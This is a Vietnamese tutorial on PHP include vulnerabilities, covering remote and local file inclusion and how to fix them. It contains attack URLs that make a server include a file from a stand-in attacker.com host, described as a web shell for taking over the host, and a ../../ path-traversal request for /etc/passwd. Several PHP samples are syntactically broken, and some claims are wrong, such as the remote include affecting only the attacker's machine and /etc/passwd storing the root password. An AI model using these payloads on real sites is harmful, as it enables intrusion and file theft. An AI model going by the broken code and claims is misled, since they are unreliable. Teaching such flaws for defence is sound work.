Bảo mật máy chủ web: Lỗi Include và cách khắc phục
Include là gì? Include nghĩa là kết nối, lien kết . Để tránh việc lặp đi lặp lại một đoạn mã nào đó, lập trình viên chỉ cần dùng lệnh include đến một file có chứa mã sẵn . Vì thế, trong một mã nguồn ( tin tức, diễn đàn, âm nhạc…) có chứa rất rất nhiều các lệnh Include. Và trong hàng ngàn dòng lệnh thì sai sót ở những nơi không mấy quan trọng là điều không thể tránh.
Dựa vào hình thức chúng ta có thể phân ra 2 loại: remote file và local.
I. Lỗi remote file
a/ Lỗi khai báo biến:
Vd1: Ta có một file exam1.php như sau:
$mkdir=”/home”;
Include($mkdir/config.php);
[…code exam1.php] ?>
Ta thấy rằng file này không có lỗi. Trước tiên lập trình viên (LTV) khai báo biến $mkdir là “/home”. Sau đó LTV dùng lệnh include với đường dẫn đến file config.php là giá trị đã khai báo ở biến $mkdir.
Vd2: Tôi lại có một file exam2.php như sau:
$mkdir =” “;
Include($mkdir/config.php);
[…code exam2.php] ?>
Đã có lỗi xảy ra. Vì file config.php nằm chung một thư mục với file exam2.php nên không cần khai báo biến $mkdir. Biến $mkdir đã không còn có tác dụng và trở nên vô nghĩa. Tuy nhiên LTV lại quên không xoá đi mà lại để nó tồn tại.
Vd3 Quay lại vd 1
$mkdir = “/home”;
Include($mkdir/config.php);
[…code exam1.php] ?>
Giả sử tôi có file config.php như sau:
$datatype =”mysql”;
$datahost =”localhost”;
$data.user =”admin”;
$data.name =”test”; ?>
File exam1.php đã include đến file config.php. Với lệnh include này thì hai file trên sẽ tương đương với 1 file như sau:
$datatype =”mysql”;
$datahost =”localhost”;
$data.user =”admin”;
$data.name =”test”;
[…code exam1.php] ?>
Ở đây đoạn từ $mkdir=…config.php ; đã được thay bằng nội dung file config.php
Vd4: Quay lại với vd2, exam2.php:
$mkdir =” “;
include($mkdir/config.php);
[…code exam2.php]
?>
File này có lỗi. Biến $mkdir để trống không khai báo. Điều này đã tạo cơ hội cho attacker khai báo dùm.
Nếu attacker dùng địa chỉ như sau: http://victim.com/exam2.php?mkdir=http://attacker.com.
File exam2.php của victim lúc này sẽ như sau:
$mkdir= “http://attacker.com”;
Include (http://attacker.com/config.php);
[…code exam2.php] ?>
Trong trường hợp này thì file config.php đã nghiễm nhiên được coi như là nằm trong host của attacker và nếu nội dung file này là một con remview thì sẽ có vấn đề xảy ra. Như vd3 đã nói với lệnh include này, toàn bộ mã của file chứa remview đã nằm gọn trong file exam2.php. Như vậy là attacker đã dùng remview để điều khiển toàn bộ host của victim.
Tuy nhiên việc này chỉ xảy ra ở máy attacker, còn những người truy cập khác đều không có tác dụng và thực chất file exam2.php trên host victim cũng không hề bị thay đổi.
b/ Lỗi khi dùng hàm isset và hàm if
Vd5 Ta có một file exam5.php như sau:
If (!$mkdir) ($mkdir=”config.php”)
Include($mkdir);
[…code exam5.php]
?>
Nghĩa là nếu biến $mkdir chưa được khai báo thì lấy giá trị mặc định là config.php và include đến giá trị mà biến $mrdir đã khai báo.
Tương tự như vd4 attacker lại khai báo dùm biến $mkdir cho victim và …
Vd6 : Lại một file exam6.php
Isset (!$patch) ($patch=”/home”);
Include($patch);
[…code exam6.php]
?>
Nếu biến $patch chưa được khai báo thì lấy giá trị mặc định là /home
Bây giờ đến lượt các bạn tự tìm hiểu
II. Lỗi local
Chúng ta chỉ xét một trường hợp duy nhất ; exam.php:
$file =” “;
Include (/home/$file);
[…code exam.php]
?>
Vẫn tương tự như sau các ví dụ trước nhưng chỉ khác ở chỗ biến $file đã bị giới hạn nằm trong thư mục home.
Nếu attacker nhập vào:
http://victim.com/exam.php?file=http://attacker.com thì code trên thành như sau :
File =”http://attacker.com”) ;
Include (/home/http://attacker.com);
[…code exam.php]
?>
Lệnh include không còn có ý nghĩa vì đường dẫn sai hoàn toàn. Nhưng attacker vần tận dụng được lỗi này. Bằng cách thêm vào đường dẫn như sau :
http://victim.com/exam.php?file=../../../../../etc/passwd/
Với giá trị nhập vào là ../ attacker đã xhayj ngược ;liên kết đến thư mục password của server host .
Vd: chúng ta có cài thư mục như sau:
Server root/home/victim/public.html/forum/includes/exam.php
Với 5 lần sử dụng ../ đã giúp attacker xâm nhập vào thư mục etc/passwd : nơi chứa pass vào root của server.
Tuỳ mỗi server mà có đường dẫn khác nhau mà dùng số lần ../ khác nhau.
III. Cách khắc phục
Đây là lỗi sinh ra do vô ý hoặc do kém hiểu biết về lập trình. Tuy nhiên việc fix lỗi lại rất dễ dàng, chỉ cần loại bỏ các biến không cần thiết khi dùng lệnh include hoặc phải khai báo biến rõ ràng. Qua lỗi này, chúng ta có thể tự bảo mật cho chính website của bản than và tự tìm kiếm các lỗi khác.